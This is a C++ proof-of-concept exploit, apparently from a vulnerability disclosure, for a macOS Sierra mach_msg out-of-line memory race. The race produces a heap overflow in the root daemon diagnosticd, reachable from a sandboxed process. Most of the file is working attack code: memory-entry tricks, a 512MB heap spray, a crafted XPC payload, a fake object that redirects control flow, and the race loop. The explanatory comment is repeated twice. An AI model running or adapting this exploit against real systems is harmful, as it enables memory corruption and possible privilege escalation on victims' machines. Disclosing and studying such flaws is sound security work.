/* When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition. Exploitation: We need specific code that references the memory twice from |mach_msg|. Here's a snippet of such a function |xpc_dictionary_insert|. v14 = strlen(shared_memory); <<-- 1st v15 = _xpc_malloc(v14 + 41); ... strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow. This bug is triggerable from a sandboxed process. The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run. Tested on macOS Sierra 10.12.2(16C67). clang++ -o poc poc.cc -std=c++11 */ /* macOS/IOS: mach_msg: doesn't copy memory When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition. Exploitation: We need specific code that references the memory twice from |mach_msg|. Here's a snippet of such a function |xpc_dictionary_insert|. v14 = strlen(shared_memory); <<-- 1st v15 = _xpc_malloc(v14 + 41); ... strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow. This bug is triggerable from a sandboxed process. The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run. Tested on macOS Sierra 10.12.2(16C67). clang++ -o poc poc.cc -std=c++11 */ #include <stdint.h> #include <stdio.h> #include <xpc/xpc.h> #include <assert.h> #include <iostream> #include <CoreFoundation/CoreFoundation.h> #include <dlfcn.h> #include <mach/mach.h> #include <mach-o/dyld_images.h> #include <printf.h> #include <dispatch/dispatch.h> #include <vector> #include <chrono> #include <thread> struct RaceContext { std::vector<uint8_t> payload; size_t race_offset; std::vector<uint8_t> spray; size_t spray_size; }; xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0); double now() { return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count(); } mach_port_t createMemoryEntry(memory_object_size_t size) { vm_address_t addr = 0; vm_allocate(mach_task_self(), &addr, size, true); memset((void*)addr, 0, size); mach_port_t res = 0; mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0); vm_deallocate(mach_task_self(), addr, size); return res; } void sendPayload(const RaceContext* ctx) { size_t data_size = ctx->spray_size; mach_port_t mem_entry = createMemoryEntry(data_size); uint8_t* data = nullptr; vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u); memcpy(data, &ctx->payload[0], ctx->payload.size()); for (size_t i = 0x1000; i < data_size; i += 0x1000) { memcpy(&data[i], &ctx->spray[0], ctx->spray.size()); } for (int32_t i = 0; i < 0x4000; i++) { double start = now(); xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0); xpc_connection_set_event_handler(client, ^(xpc_object_t event) { }); xpc_connection_resume(client); xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request)); double duration = now() - start; printf("duration: %f\n", duration); if (duration > 2.0) { xpc_release(client); break; } mach_port_t service_port = ((uint32_t*)client)[15]; void* msg_data = nullptr; vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u); struct { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_descriptor_t ool_desc; } m = {}; m.hdr.msgh_size = sizeof(m); m.hdr.msgh_local_port = MACH_PORT_NULL; m.hdr.msgh_remote_port = service_port; m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0); m.hdr.msgh_id = 0x10000000; m.body.msgh_descriptor_count = 1; m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR; m.ool_desc.address = msg_data; m.ool_desc.size = (mach_msg_size_t)data_size; m.ool_desc.deallocate = 1; m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY; bool stop = true; std::thread syncer([&] { while (stop); xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request)); stop = true; }); size_t race_offset = ctx->race_offset; __uint128_t orig = *(__uint128_t*)&data[race_offset]; __uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA"; mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); stop = false; while (!stop) { *(__uint128_t*)&data[race_offset] = orig; *(__uint128_t*)&data[race_offset] = new_one; } syncer.join(); *(__uint128_t*)&data[race_offset] = orig; xpc_release(client); } mach_port_deallocate(mach_task_self(), mem_entry); } const void* memSearch(const void* base, const void* data, size_t size) { const uint8_t* p = (const uint8_t*)base; for (;;) { if (!memcmp(p, data, size)) return p; p++; } } void* getLibraryAddress(const char* library_name) { task_dyld_info_data_t task_dyld_info; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count); const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr; const struct dyld_image_info* image_infos = all_image_infos->infoArray; for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) { const char* image_name = image_infos[i].imageFilePath; mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress; if (strstr(image_name, library_name)){ return (void*)image_load_address; } } return 0; } void initRace(RaceContext* ctx) { struct FakeObject { void* unk[2]; void* ref_to_bucket; void* padd[0x10]; struct { const void* sel; const void* func; } bucket; }; const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000}; const size_t kTagOffset = 0x954; const uintptr_t kSprayedAddr = 0x120101010; //ctx->data.resize(0x10000); ctx->payload.resize(0x1000); ctx->race_offset = kTagOffset - 0x10; memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData)); *(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr; ctx->spray.resize(0x300); ctx->spray_size = 1024 * 1024 * 512; void* libdispatch = getLibraryAddress("libdispatch.dylib"); FakeObject* predict = (FakeObject*)kSprayedAddr; FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff]; obj->ref_to_bucket = &predict->bucket; obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14); obj->bucket.func = (void*)0x9999; } int32_t main() { xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0); xpc_connection_set_event_handler(client, ^(xpc_object_t event) { }); xpc_connection_resume(client); xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request)); RaceContext ctx; initRace(&ctx); printf("attach the debugger to diagnosticd\n"); getchar(); sendPayload(&ctx); return 0; }